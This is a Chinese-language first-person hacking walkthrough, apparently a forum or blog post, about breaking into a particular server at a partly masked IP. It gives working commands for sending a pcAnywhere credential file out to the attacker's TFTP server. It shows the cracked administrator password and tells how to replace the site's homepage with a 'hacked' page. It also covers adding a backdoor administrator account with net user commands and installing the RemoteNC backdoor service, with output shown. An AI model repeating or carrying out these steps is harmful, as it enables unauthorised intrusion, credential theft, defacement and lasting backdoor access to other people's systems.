且看如何得到这个.cif文件。先用x-way的内置tftp服务器在本机建立tftp服务: 选择“工具”菜单中的tftp服务器。设置一个默认根目录,点启动即可! 然后再用ms-sql客户端在目标服务器执行如下指令: copy c:\progra~1\pcanywhere\data\New Caller.CIF c:\winnt\system32 tftp -i 本地ip put New Caller.CIF 命令执行成功,这个cif文件已被传到本地tftp目录下了! 此时,用pcanywherepwd.exe破解此文件,得到用户名为:administrator 密码为:amsrepair
打开pcanywhere manager建立一个指向211.154.xxx.xx的通道。在setting项中选择network host pc to control or ip adress, 并添上目标ip:211.154.xxx.xx 选中login information项中的automatically login to host up connection 并在下面的login name和password栏中添入刚才得到的用户名和密码!确定即可。双击新建立的通道,稍等片刻即可看到了对方桌面。这下好搞了,呵呵~~在 g:\home\wwweb\目录下,终于找到了他们的index.htm。删!再手动定一个简单的文件: <html> <head> <title>hacked<title> </head> <body> <center> hacked </center> </body> 保存为:index.htm 修改主页完成。
该留个后门了,这是个NT主机,用小榕的RemoteNC做后门最好不过了! 先给系统加个超级用户,用ms-sql来做: net user wing wing /add net localgroup administrators wing /add
从对方桌面上打开ie连到小榕的站上下载RemoteNC,然后进入命令提示行状态,键入: RemoteNC 211.154.xxx.xx wing wing LocalSystem "RemoteNC" "Provide Local CMD Redirect" 7 123456 系统显示: [Install Service as RunasUser Mode] Connecting 211.154.xxx.xx ..... Done. Transffer File ..... Done. Start Service ..... Done.
Now You can 211.154.xxx.xx to Connect, Have a Joy 安装成功